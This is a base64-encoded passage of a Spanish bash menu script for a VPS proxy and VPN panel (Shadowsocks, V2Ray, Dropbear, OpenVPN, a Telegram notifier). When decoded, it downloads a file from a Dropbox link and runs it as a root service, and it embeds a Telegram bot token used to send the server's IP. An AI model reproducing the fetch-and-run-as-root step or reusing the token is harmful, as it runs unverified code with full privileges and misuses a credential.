UFMSVpBRE9dIgojZmluCiMKfQpvbmxpbmVhcHAoKXsKbXNnIC1iYXIKZWNobyAtZSAiXDAzM1sxOzkybSAgICAgICAgICAgICAgICBBQ1RJVkFORE8gU0VSVklDSU8iCm1zZyAtYmFyCndnZXQgLU8gL2V0Yy9WUFMtTVgvaGVycmFtaWVudGFzLy5vbmFwcCBodHRwczovL3d3dy5kcm9wYm94LmNvbS9zL3oweGI2cGJlMXVhZ2RqdC9vbmFwcCAmPi9kZXYvbnVsbApjaG1vZCA3NzcgL2V0Yy9WUFMtTVgvaGVycmFtaWVudGFzLy5vbmFwcCAmPi9kZXYvbnVsbAogICBhcHQgaW5zdGFsbCBhcGFjaGUyIC15ID4gL2Rldi9udWxsIDI+JjEKICAgc2VkIC1pICJzL0xpc3RlbiA4MS9MaXN0ZW4gODg4OC9nIiAvZXRjL2FwYWNoZTIvcG9ydHMuY29uZiA+L2Rldi9udWxsIDI+JjEKICAgc2VydmljZSBhcGFjaGUyIHJlc3RhcnQKICAgcm0gLXJmIC92YXIvd3d3L2h0bWwvc2VydmVyID4vZGV2L251bGwgMj4mMQogICBta2RpciAvdmFyL3d3dy9odG1sL3NlcnZlciA+L2Rldi9udWxsIDI+JjEKZWNobyAtZSAiW1VuaXRdCkRlc2NyaXB0aW9uPS5vbmFwcCBTZXJ2aWNlIGJ5IEBsYWNhc2l0YW14CkFmdGVyPW5ldHdvcmsudGFyZ2V0ClN0YXJ0TGltaXRJbnRlcnZhbFNlYz0wCgpbU2VydmljZV0KVHlwZT1zaW1wbGUKVXNlcj1yb290CldvcmtpbmdEaXJlY3Rvcnk9L3Jvb3QKRXhlY1N0YXJ0PS9iaW4vYmFzaCAvZXRjL1ZQUy1NWC9oZXJyYW1pZW50YXMvLm9uYXBwClJlc3RhcnQ9YWx3YXlzClJlc3RhcnRTZWM9M3MKCltJbnN0YWxsXQpXYW50ZWRCeT1tdWx0aS11c2VyLnRhcmdldCIgPiAvZXRjL3N5c3RlbWQvc3lzdGVtL2FwcC5zZXJ2aWNlCgogICAgc3lzdGVtY3RsIGVuYWJsZSBhcHAgJj4vZGV2L251bGwKICAgIHN5c3RlbWN0bCBzdGFydCBhcHAgJj4vZGV2L251bGwKICAgIElQPSQod2dldCAtcU8tIGlwdjQuaWNhbmhhemlwLmNvbSkgPi9kZXYvbnVsbCAyPiYxCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTs5Mm0gICAgICAgICAgICAgICAgQVBQIE9OTElORSBJTklDSUFETyBDT04gRVhJVE8iCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTszN20gVVJMIGRlIHVzdWFyaW9zIGVuIGzDrW5lYSBwYXJhIHVzYXIgZW4gbGEgYXBsaWNhY2nDs27igIzigIxcMDMzWzBtIgogICBlY2hvIC1lICJcZVsxOzkybSBodHRwOi8vJElQOjg4ODgvc2VydmVyL29ubGluZSIKICAgbXNnIC1iYXIKfQpraWxsYXBwKCl7CglzeXN0ZW1jdGwgc3RvcCBhcHAgJj4vZGV2L251bGwKICAgIHN5c3RlbWN0bCBkaXNhYmxlIGFwcCAgJj4vZGV2L251bGwKICAgIHJtIC9ldGMvc3lzdGVtZC9zeXN0ZW0vYXBwLnNlcnZpY2UgJj4vZGV2L251bGwKICAgIHJtIC1yZiAvdmFyL3d3dy9odG1sL3NlcnZlciA+L2Rldi9udWxsIDI+JjEKICAgIHNlZCAtaSAicy9MaXN0ZW4gODg4OC9MaXN0ZW4gODEvZyIgL2V0Yy9hcGFjaGUyL3BvcnRzLmNvbmYgPi9kZXYvbnVsbCAyPiYxCiAgIHNlcnZpY2UgYXBhY2hlMiByZXN0YXJ0CiAgICBtc2cgLWJhcgogICAgZWNobyAtZSAiXDAzM1sxOzkxbSAgICAgICAgICAgICAgICBBUFAgT05MSU5FIERFVEVOSURPIgptc2cgLWJhcgoKfQptZW51YXBwKCl7CmNsZWFyCm1zZyAtdGl0Cm1zZyAtYXp1ICIJXGVbOTFtXGVbNDNtQUNUSVZBUiBBUFAgRU4gTElORUFcZVswbSIKbXNnIC1iYXIKZWNobyAtZSAiIFxlWzE7OTNtIFtcZVs5Mm0xXGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC12ZXJkICIgIElOSUNJQVIgQVBQIE9OTElORSAgIikiCmVjaG8gLWUgIiBcZVsxOzkzbSBbXGVbOTJtMlxlWzkzbV0gJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtdmVybTIgIiBERVRFTkVSIEFQUCBPTkxJTkUgICAiKSIKZWNobyAtZSAiIFxlWzE7OTNtIFtcZVs5Mm0wXGVbOTNtXSAkKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1icmEgIiAgVk9MVkVSICAgIikiCm1zZyAtYmFyCmVjaG8gLW5lICIg4pa6XGVbMTszN20gU2VsZWNpb25lIFVuYSBPcGNpb246IFxlWzMzbSAiICYmIHJlYWQgc2VsZWN0CmNhc2UgJHNlbGVjdCBpbgowKW1lbnUzIDs7CjEpIG9ubGluZWFwcCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7OwoyKWtpbGxhcHAgJiYgbXNnIC1uZSAiRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKbWVudTMgOzsKZXNhYwp9CgpzeXN0ZW5faW5mbyAoKSB7CmNsZWFyCmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiAgICAgICAgICAgICAgICBERVRBTExFUyBERUwgU0lTVEVNQSIpIgpudWxsPSJcMDMzWzE7MzFtIgptc2cgLWJhcgppZiBbICEgL3Byb2MvY3B1aW5mbyBdOyB0aGVuIG1zZyAtdmVybSAiJChmdW5fdHJhbnMgIlNpc3RlbWEgTm8gU29wb3J0YWRvIikiICYmIG1zZyAtYmFyOyByZXR1cm4gMTsgZmkKaWYgWyAhIC9ldGMvaXNzdWUubmV0IF07IHRoZW4gbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiU2lzdGVtYSBObyBTb3BvcnRhZG8iKSIgJiYgbXNnIC1iYXI7IHJldHVybiAxOyBmaQppZiBbICEgL3Byb2MvbWVtaW5mbyBdOyB0aGVuIG1zZyAtdmVybSAiJChmdW5fdHJhbnMgIlNpc3RlbWEgTm8gU29wb3J0YWRvIikiICYmIG1zZyAtYmFyOyByZXR1cm4gMTsgZmkKdG90YWxyYW09JChmcmVlIHwgZ3JlcCBNZW0gfCBhd2sgJ3twcmludCAkMn0nKQp1c2VkcmFtPSQoZnJlZSB8IGdyZXAgTWVtIHwgYXdrICd7cHJpbnQgJDN9JykKZnJlZXJhbT0kKGZyZWUgfCBncmVwIE1lbSB8IGF3ayAne3ByaW50ICQ0fScpCnN3YXByYW09JChjYXQgL3Byb2MvbWVtaW5mbyB8IGdyZXAgU3dhcFRvdGFsIHwgYXdrICd7cHJpbnQgJDJ9JykKc3lzdGVtPSQoY2F0IC9ldGMvaXNzdWUubmV0KQpjbG9jaz0kKGxzY3B1IHwgZ3JlcCAiQ1BVIE1IeiIgfCBhd2sgJ3twcmludCAkM30nKQpiYXNlZD0kKGNhdCAvZXRjLypyZWxlYXNlIHwgZ3JlcCBJRF9MSUtFIHwgYXdrIC1GICI9IiAne3ByaW50ICQyfScpCnByb2Nlc3Nvcj0kKGNhdCAvcHJvYy9jcHVpbmZvIHwgZ3JlcCAibW9kZWwgbmFtZSIgfCB1bmlxIHwgYXdrIC1GICI6IiAne3ByaW50ICQyfScpCmNwdXM9JChjYXQgL3Byb2MvY3B1aW5mbyB8IGdyZXAgcHJvY2Vzc29yIHwgd2MgLWwpCltbICIkc3lzdGVtIiBdXSAmJiBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIlNpc3RlbWEiKTogJHtudWxsfSRzeXN0ZW0iIHx8IG1zZyAtYW1hICIkKGZ1bl90cmFucyAiU2lzdGVtYSIpOiAke251bGx9Pz8/IgpbWyAiJGJhc2VkIiBdXSAmJiBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIkJhc2UiKTogJHtudWxsfSRiYXNlZCIgfHwgbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJCYXNlIik6ICR7bnVsbH0/Pz8iCltbICIkcHJvY2Vzc29yIiBdXSAmJiBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIlByb2Nlc2Fkb3IiKTogJHtudWxsfSRwcm9jZXNzb3IgeCRjcHVzIiB8fCBtc2cgLWFtYSAiJChmdW5fdHJhbnMgIlByb2Nlc2Fkb3IiKTogJHtudWxsfT8/PyIKW1sgIiRjbG9jayIgXV0gJiYgbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJGcmVjdWVuY2lhIGRlIE9wZXJhY2lvbiIpOiAke251bGx9JGNsb2NrIE1IeiIgfHwgbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJGcmVjdWVuY2lhIGRlIE9wZXJhY2lvbiIpOiAke251bGx9Pz8/Igptc2cgLWFtYSAiJChmdW5fdHJhbnMgIlVzbyBkZWwgUHJvY2VzYWRvciIpOiAke251bGx9JChwcyBhdXggIHwgYXdrICdCRUdJTiB7IHN1bSA9IDAgfSAgeyBzdW0gKz0gc3ByaW50ZigiJWYiLCQzKSB9OyBFTkQgeyBwcmludGYgIiAiICIlLjJmIiAiJSUiLCBzdW19JykiCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiTWVtb3JpYSBWaXJ0dWFsIFRvdGFsIik6ICR7bnVsbH0kKCgkdG90YWxyYW0gLyAxMDI0KSkiCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiTWVtb3JpYSBWaXJ0dWFsIEVuIFVzbyIpOiAke251bGx9JCgoJHVzZWRyYW0gLyAxMDI0KSkiCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiTWVtb3JpYSBWaXJ0dWFsIExpYnJlIik6ICR7bnVsbH0kKCgkZnJlZXJhbSAvIDEwMjQpKSIKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJNZW1vcmlhIFZpcnR1YWwgU3dhcCIpOiAke251bGx9JCgoJHN3YXByYW0gLyAxMDI0KSlNQiIKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJUZW1wbyBPbmxpbmUiKTogJHtudWxsfSQodXB0aW1lKSIKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJOb21icmUgRGUgTGEgTWFxdWluYSIpOiAke251bGx9JChob3N0bmFtZSkiCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiSVAgRGUgTGEgIE1hcXVpbmEiKTogJHtudWxsfSQoaXAgYWRkciB8IGdyZXAgaW5ldCB8IGdyZXAgLXYgaW5ldDYgfCBncmVwIC12ICJob3N0IGxvIiB8IGF3ayAne3ByaW50ICQyfScgfCBhd2sgLUYgIi8iICd7cHJpbnQgJDF9JykiCm1zZyAtYW1hICIkKGZ1bl90cmFucyAiVmVyc2lvbiBkZSBLZXJuZWwiKTogJHtudWxsfSQodW5hbWUgLXIpIgptc2cgLWFtYSAiJChmdW5fdHJhbnMgIkFycXVpdGVjdHVyYSIpOiAke251bGx9JCh1bmFtZSAtbSkiCm1zZyAtYmFyCnJldHVybiAwCn0KCVtbICIkKGNyb250YWIgLWx8IGdyZXAgJ2F1dG9saW0nIHwgd2MgLWwpIiAhPSAnMCcgXV0gJj4vZGV2L251bGwgJiYgewogIGF1dHJhbT0iXGVbMTszMm1bT05dIgogIH0gfHwgewogIGF1dHJhbT0iXGVbMTszMW1bT0ZGXSIKICB9CiAgCm1lbnUzKCl7CmRlY2xhcmUgLUEgaW5zdApwaWRyX2luc3QKY2xlYXIKdmFsdWVzdD0kKHBzIGF4IHxncmVwIC9ldGMvc2hhZG93c29ja3MtcnxncmVwIC12IGdyZXApCltbICR2YWx1ZXN0ICE9ICIiIF1dICYmIHZhbHVlc3Q9IlwwMzNbMTszMm1bT05dICIgfHwgdmFsdWVzdD0iXDAzM1sxOzMxbVtPRkZdIgpwaWRwcm94eT0kKHBzIHggfCBncmVwIC13ICAibGFjYXNpdGFteC5weSIgfCBncmVwIC12ICJncmVwIiB8IGF3ayAtRiAicHRzIiAne3ByaW50ICQxfScpICYmIFtbICEgLXogJHBpZHByb3h5IF1dICYmIHBsb3g9IlxlWzE7MzJtW09OXSAiIHx8IHBsb3g9IlxlWzE7MzFtW09GRl0iCkJvdD0kKHBzIHh8Z3JlcCAtdiBncmVwIHxncmVwICJBRE1ib3Quc2giKQpbWyAhICRCb3QgXV0gJiYgQUQ9IlwwMzNbMTszMW1bT0ZGXSIgfHwgQUQ9IlwwMzNbMTszMm1bT05dICIKI1tbICQocHMgeCB8IGdyZXAgc3R1bm5lbDUgfCBncmVwIC12IGdyZXAgfCBhd2sgJ3twcmludCAkMX0nKSBdXSAmJiBzdHVuZWw1PSJcZVsxOzMybVtPTl0iIHx8IHN0dW5lbDU9IlxlWzE7MzFtW09GRl0iCiNtc2cgLWJhcgptc2cgLXRpdApleHBvcnQgLWYgZnVuX2V0aApleHBvcnQgLWYgZnVuX2JhcgojZWNobyAtZSAiXGVbMTszN21Ub3RhbCBSYW06ICR7bnVsbH0kKCgkdG90YWxyYW0gLyAxMDI0KSkgXGVbMTszN21VU086ICR7bnVsbH0kKCgkdXNlZHJhbSAvIDEwMjQpKSBcZVsxOzM3bUxJQlJFOiAke251bGx9JCgoJGZyZWVyYW0gLyAxMDI0KSkgXGVbMzdtU3dhcDoke251bGx9JCgoJHN3YXByYW0gLyAxMDI0KSlNQiIKZXhwb3J0IC1mIGxhY2FzaXRhCmxhY2FzaXRhCgltc2cgLWJhcgplY2hvIC1lICIgIAlcZVs5N21cZVsxOzEwMG1QUk9UT0NPTE9TXGVbMG0gIAkJICBcZVs5N21cZVs0MW1IRVJSQU1JRU5UQVNcZVswbSIKbXNnIC1iYXIKIGlmIFtbICEgLWUgL2V0Yy9ub3R5IF1dOyB0aGVuCiBub3R5PSJcZVsxOzkxbVtPRkZdIgogZWxzZQogbm90eT0iXGVbMTs5Mm1bT05dICIKIGZpCiBvbmFwPSQocHMgeHxncmVwIC12IGdyZXAgfGdyZXAgIi5vbmFwcCIpCltbICEgJG9uYXAgXV0gJiYgYXBwPSJcMDMzWzE7MzFtW09GRl0iIHx8IGFwcD0iXDAzM1sxOzMybVtPTl0gIgogaWYgW1sgJChzeXN0ZW1jdGwgaXMtYWN0aXZlIGNoZWt1c2VyKSA9ICJhY3RpdmUiIF1dOyB0aGVuCiBjaGVrPSJcZVsxOzkybVtPTl0gIgogZWxzZQogY2hlaz0iXGVbMTs5MW1bT0ZGXSIKIGZpCiNtZW51IGRlIHByb3RvY29sb3MKZWNobyAtZSAiXGVbMTs5M21bXGVbOTJtMVxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIkJBRFZQTiAgICAgICAgJHtpbnN0W2JhZHZwbl19IikgIFxlWzE7OTNtW1xlWzkybTE1XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiQVJDSElWTyBPTkxJTkUiKSIKZWNobyAtZSAiXGVbMTs5M21bXGVbOTJtMlxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIlNPQ0tTIExJQkVWICAgJHtpbnN0W3NzLXNlcnZlcl19IikgIFxlWzE7OTNtW1xlWzkybTE2XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiRklSRVdBTEwiKSIKZWNobyAtZSAiXGVbMTs5M21bXGVbOTJtM1xlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIlNPQ0tTIFBZVEhPTiAgJHtpbnN0W3B5dGhvbl19IikgIFxlWzE7OTNtW1xlWzkybTE3XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiRkFJTDJCQU4gUFJPVEVDSU9OIikiCmVjaG8gLWUgIlxlWzE7OTNtW1xlWzkybTRcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJWMlJBWSAgICAgICAgICR7aW5zdFt2MnJheV19IikgIFxlWzE7OTNtW1xlWzkybTE4XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiREVUQUxMRVMgREUgU0lTVEVNQSIpIgplY2hvIC1lICJcZVsxOzkzbVtcZVs5Mm01XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiU1NMICAgICAgICAgICAke2luc3Rbc3R1bm5lbDRdfSIpICBcZVsxOzkzbVtcZVs5Mm0xOVxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIlRDUCAoQkJSfEJCUi1QbHVzKSIpIgplY2hvIC1lICJcZVsxOzkzbVtcZVs5Mm02XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiRFJPUEJFQVIgICAgICAke2luc3RbZHJvcGJlYXJdfSIpICBcZVsxOzkzbVtcZVs5Mm0yMFxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIkROUyBORVRGTElYIikiCmVjaG8gLWUgIlxlWzE7OTNtW1xlWzkybTdcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJTUVVJRCAgICAgICAgICR7aW5zdFtzcXVpZF19IikgIFxlWzE7OTNtW1xlWzkybTIxXGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiQVVUTyBNQU5URU5JTUlFTlRPIikkYXV0cmFtIgplY2hvIC1lICJcZVsxOzkzbVtcZVs5Mm04XGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiT1BFTlZQTiAgICAgICAke2luc3Rbb3BlbnZwbl19IikgIFxlWzE7OTNtW1xlWzkybTIyXGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiU0NBTk5FUiBTVUJET01JTklPIikiCmVjaG8gLWUgIlxlWzE7OTNtW1xlWzkybTlcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJTTE9XRE5TICAgICAgICR7aW5zdFtkbnMtc2VydmVdfSIpICBcZVsxOzkzbVtcZVs5Mm0yM1xlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIlBSVUVCQSBERSBWRUxPQ0lEQUQiKSIKZWNobyAtZSAiXGVbMTs5M21bXGVbOTJtMTBcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJNT05JVE9SIEFQUCAgJGFwcCIpICBcZVsxOzkzbVtcZVs5Mm0yNFxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIkZJWCBPUkFDTEUvQVdTL0FaUiIpIgplY2hvIC1lICJcZVsxOzkzbVtcZVs5Mm0xMVxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIkJPVCBURUxFR1JBTSAkQUQiKSAgXGVbMTs5M21bXGVbOTJtMjVcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJcZVs5MW1cZVs0M21IRVJSQU1JRU5UQVMgQkFTSUNPU1xlWzBtIikiCmVjaG8gLWUgIlxlWzE7OTNtW1xlWzkybTEyXGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiV0lSRUdVQVJEICAgICR7aW5zdFt3Z119IikgICQobXNnIC12ZXJkICJbMF0gIikkKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIuKHmiBWT0xWRVIgICIpIiAKZWNobyAtZSAiXGVbMTs5M21bXGVbOTJtMTNcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJOT1RJLUJPVCAgICAgJG5vdHkiKSIKZWNobyAtZSAiXGVbMTs5M21bXGVbOTJtMTRcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJDSEVDSy1VU0VSICAgJGNoZWsiKSIKbXNnIC1iYXIKZWNobyAtbmUgIiDilrpcZVsxOzM3bSBTZWxlY2lvbmUgVW5hIE9wY2lvbjogXGVbMzNtICIgJiYgcmVhZCBzZWxlY3QKY2FzZSAkc2VsZWN0IGluCjApIDs7CjEpICR7U0NQaW5zdH0vYnVkcC5zaCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7OwoyKSAke1NDUGluc3R9L3NoYWRvd3NvY2tzLnNoICYmIG1zZyAtbmUgIkVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCm1lbnUzIDs7CjMpICR7U0NQaW5zdH0vc29ja3NweS5zaCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7Owo0KSAke1NDUGluc3R9L3YycmF5LnNoICYmIG1zZyAtbmUgIkVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCm1lbnUzIDs7CjUpICR7U0NQaW5zdH0vc3NsLnNoICYmIG1zZyAtbmUgIkVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCm1lbnUzIDs7CjYpICR7U0NQaW5zdH0vZHJvcGJlYXIuc2ggJiYgbXNnIC1uZSAiRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKbWVudTMgOzsKNykgJHtTQ1BpbnN0fS9zcXVpZC5zaCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7Owo4KSAke1NDUGluc3R9L29wZW52cG4uc2ggJiYgbXNnIC1uZSAiRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKbWVudTMgOzsKOSkgJHtTQ1BpbnN0fS9zbG93ZG5zLnNoICYmIG1zZyAtbmUgIkVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCm1lbnUzIDs7CiMKI2hlcnJhbWllbnRhcwoxMCkgbWVudWFwcCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7OwoxMSkgYWRtaW5ib3Q7OwoxMikgJHtTQ1BpbnN0fS93aXJlZ3VhcmQuc2ggJiYgbXNnIC1uZSAiRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKbWVudTMgOzsKMTMpIG5vdGkgOzsKMTQpICR7U0NQaW5zdH0vY2hla3VzZXIuc2ggJiYgbXNnIC1uZSAiRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKbWVudTMgOzsKMTUpICR7U0NQZnJtfS9hcGFjaGVvbi5zaDs7CjE2KSAke1NDUGZybX0vYmxvY2tCVC5zaDs7CjE3KSAke1NDUGZybX0vZmFpMmJhbi5zaDs7CjE4KSBzeXN0ZW5faW5mbzs7CjE5KSAke1NDUGZybX0vdGNwLnNoOzsKMjApIG5ldDs7CjIxKSBjYWNoZTs7CjIyKSAke1NDUGZybX0vdWx0cmFob3N0OzsKMjMpICR7U0NQZnJtfS9zcGVlZC5weTs7CjI0KW9yYWNsIDs7CjI1KSBleHRyYSA7OwojMjUpJHtTQ1BpbnN0fS90cm9qYW5nby5zaCAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgojbWVudTMgOzsKKikgbXNnIC12ZXJtMiAiIFBvciBGYXZvciBTZWxlY2lvbmUgRWwgTsO6bWVybyBDb3JyZWN0byIKc2xlZXAgMS5zCm1lbnUzIDs7CmVzYWMKfQpOT1RJRlkgKCkgewpjbGVhcgpjbGVhcgptc2cgLXRpdAoKbXNnIC1hbWEgIiBOb3RpZnktQk9UIChOb3RpZmljYWNpb24gUmVtb3RhKXxATGFDYXNpdGFNeF9Ob3R5X0JvdCAiCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTs5NG0gTm90aWZ5LUJPVCBlcyB1biBzaW1wbGUgbm90aWZpY2Fkb3IgZGU6IgplY2hvIC1lICJcMDMzWzE7OTRtID4+IFVzdWFyaW8gRXhwaXJhZG8iCmVjaG8gLWUgIlwwMzNbMTs5NG0gPj4gVXN1YXJpbyBFbGltaW5hZG8iCmVjaG8gLWUgIlwwMzNbMTs5NG0gPj4gQXZpc29zIGRlIFZQUyBSZWluaWNpYWRhIgplY2hvIC1lICJcMDMzWzE7OTRtID4+IEF2aXNvcyBkZSBNb25pdG9yIGRlIFByb3RvY29sb3MiCmVjaG8gLWUgIlwwMzNbMTs5N20gSW5pY2llIEVsIEJPVCBkZSBUZWxlZ3JhbSIKZWNobyAtZSAiXDAzM1sxOzkybSDCocKhIFBhcmEgc2FjYXIgc3UgSUQgZW50cmUgYWwgQk9UIEBjb25lY3RlZG14X2JvdCIKZWNobyAtZSAiXDAzM1sxOzkybSBBcGFyZXNlcmEgYWxnbyBwYXJlY2lkbyDwn5GkIOKGkiBUdSBJRCBlczogNDUxNDU1NjQgICAiCm1zZyAtYmFyCmVjaG8gLWUgIlwwMzNbMTs5M21JZ3Jlc2UgdW4gbm9tYnJlIHBhcmEgbGEgVlBTOlwwMzNbMDszN20iOyByZWFkIC1wICIgIiBub21icgplY2hvICIke25vbWJyfSIgPiAvZXRjL1ZQUy1NWC9jb250cm9sYWRvci9ub21icmUubG9nCmVjaG8gLWUgIlwwMzNbMTs5M21JZ3Jlc2Ugc3UgSUQg8J+RpDpcMDMzWzA7MzdtIjsgcmVhZCAtcCAiICIgaWRib3QKZWNobyAiJHtpZGJvdH0iID4gL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvSURULmxvZyAKbXNnIC1iYXIKZWNobyAtZSAiXDAzM1sxOzMybSAgICAgICAgICAgICAgSUQgQUdSRUdBRE8gQ09OIEVYSVRPIgptc2cgLWJhcgp3Z2V0IC1xTy0gaWZjb25maWcubWUgPiAvZXRjL1ZQUy1NWC9JUC5sb2cKaXB0PWBsZXNzIC9ldGMvVlBTLU1YL0lQLmxvZ2AgPiAvZGV2L251bGwgMj4mMQpOaXA9IiQoZWNobyAkaXB0KSIKTk9NPSIkKGxlc3MgL2V0Yy9WUFMtTVgvY29udHJvbGFkb3Ivbm9tYnJlLmxvZykiCk5PTTE9IiQoZWNobyAkTk9NKSIKSURCMT1gbGVzcyAvZXRjL1ZQUy1NWC9jb250cm9sYWRvci9JRFQubG9nYCA+IC9kZXYvbnVsbCAyPiYxCklEQjI9YGVjaG8gJElEQjFgID4gL2Rldi9udWxsIDI+JjEKS0VZPSIyMDEyODgwNjAxOkFBRUozS2sxOFBHRHpXNTdMcFRNblZNbl9wUVlRS1czVjl3IgpVUkw9Imh0dHBzOi8vYXBpLnRlbGVncmFtLm9yZy9ib3QkS0VZL3NlbmRNZXNzYWdlIgpNU0c9IuKaoO+4jyDilrrilrogQVZJU08gREUgVlBTOiAkTk9NMSDimqAK8J+RiSDilrrilrogSVA6ICROaXAK8J+RiSDilrrilrogVXN1YXJpbzogJChjYXQgL2V0Yy9WUFMtTVgvbWVzc2FnZS50eHQpCvCfkYkg4pa64pa6IE1FTlNBSkUgREUgUFJVRUJBCvCflLAg4pa64pa6IE5PVEktQk9UIEFDVElWQURPIENPUlJFQ1RBTUVOVEUiCmN1cmwgLXMgLS1tYXgtdGltZSAxMCAtZCAiY2hhdF9pZD0kSURCMiZkaXNhYmxlX3dlYl9wYWdlX3ByZXZpZXc9MSZ0ZXh0PSRNU0ciICRVUkwgJj4vZGV2L251bGwKZWNobyAtZSAiXDAzM1sxOzM0bSAgICAgICAgICAgIFNFIEVOVklPIE1FTlNBSkUgREUgUFJVRUJBICIKdG91Y2ggL2V0Yy9ub3R5Cn0KCm5vdGkoKXsKY2xlYXIKbXNnIC10aXQKZWNobyAtZSAiCVxlWzk3bVxlWzE7MTAwbUFDVElWQURPUiBOT1RJLUJPVFxlWzBtIgptc2cgLWJhcgplY2hvIC1lICJcZVsxOzkzbVtcZVs5Mm0xXGVbOTNtXSQobXNnIC12ZXJtMiAi4p6bICIpJChtc2cgLWF6dSAiQUNUSVZBUiBOT1RJLUJPVCAkbnQiKSAgXGVbMTs5M21bXGVbOTJtMlxlWzkzbV0kKG1zZyAtdmVybTIgIuKemyAiKSQobXNnIC1henUgIkRFU0FDVElWQVIgTk9USS1CT1QiKSIKbXNnIC1iYXIKZWNobyAtZSAiCSAgICAgCVxlWzE7OTNtW1xlWzkybTBcZVs5M21dJChtc2cgLXZlcm0yICLinpsgIikkKG1zZyAtYXp1ICJWT0xWRVIiKSIKbXNnIC1iYXIKZWNobyAtbmUgIiDilrpcZVsxOzM3bSBTZWxlY2lvbmUgVW5hIE9wY2lvbjogXGVbMzNtICIgJiYgcmVhZCBzZWxlY3RvcwpjYXNlICRzZWxlY3RvcyBpbgowKW1lbnUzIDs7CjEpIE5PVElGWSAmJiBtc2cgLW5lICJFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgptZW51MyA7OwoyKQplY2hvICIgIj4gL2V0Yy9WUFMtTVgvY29udHJvbGFkb3IvSURULmxvZyAmPi9kZXYvbnVsbApybSAvZXRjL25vdHkgJj4vZGV2L251bGwKbXNnIC12ZXJtMiAiCU5PVEktQk9UIERFU0FDVElWQURPIgo7Owplc2FjCn0KCmFkbWluYm90KCl7CmNsZWFyC